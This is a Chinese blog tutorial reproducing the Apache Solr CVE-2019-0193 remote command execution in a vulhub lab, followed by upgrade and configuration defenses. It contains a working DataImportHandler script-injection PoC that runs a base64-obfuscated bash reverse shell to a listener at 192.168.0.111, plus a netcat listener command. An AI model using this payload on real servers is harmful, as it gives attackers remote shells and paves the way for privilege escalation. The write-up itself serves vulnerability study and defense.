本文主要是介绍CVE-2019-0193 Apache Solr 远程命令执行反弹shell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
- 漏洞描述
- 影响版本
- 漏洞复现
- 环境搭建
- 反弹shell
- 防御方法
漏洞描述
Apache Solr是一个开源的搜索服务器。Solr使用Java语言开发,该漏洞产生的主要原因是因为apache dataimporthandler数据外部收集的一个端口模块,该模块支持从远程的地址进行通信,并多数据进行收集,正因为开放了远程地址,可导致攻击者构造恶意的代码对DIH进行脚本注入,从而让后端服务器对恶意代码进行了执行,该漏洞可导致服务器被攻击
影响版本
Apache Solr < 8.2.0
漏洞复现
环境搭建
小编这里图个方便直接使用vulhub靶场搭建环境
cd /root/vulhub/solr/CVE-2019-0193
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
//创建一个test模块
docker ps
web访问如下:
反弹shell
1.访问web页面进行如下操作
test -》 Dataimport -》 Debug -》 Debug-Mode
2.开启端口监听
kali中使用,也可windows下使用。
nc -lnvp 1234
3.添加poc
<dataConfig><dataSource type="URLDataSource"/><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTExLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="stackoverflow"url="https://stackoverflow.com/feeds/tag/solr"processor="XPathEntityProcessor"forEach="/feed"transformer="script:poc" /></document>
</dataConfig>
注意这里加密的base64为你当前反弹的ip和端口,可以自行进行加密修改。 附链接: base64编码
发送成功后,成功反弹shell,因为拿到的是solr权限,后续步骤可以视情况进行提权等操作。
防御方法
- 登录solr的控制面板,可以查看到当前的版本,如果低于8.2.0,说明存在漏洞,将solr的版本升级到最新版本。
- 对apache配置文件进行修改,文件名是solrconfig.xml,配置文件里的datainport值都注释掉,关闭这个数据收集功能,有些网站,APP可能会使用到这个功能,在关闭后请检查网站的正常功能,是否收到影响,没有影响就关闭即可。
这篇关于CVE-2019-0193 Apache Solr 远程命令执行反弹shell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!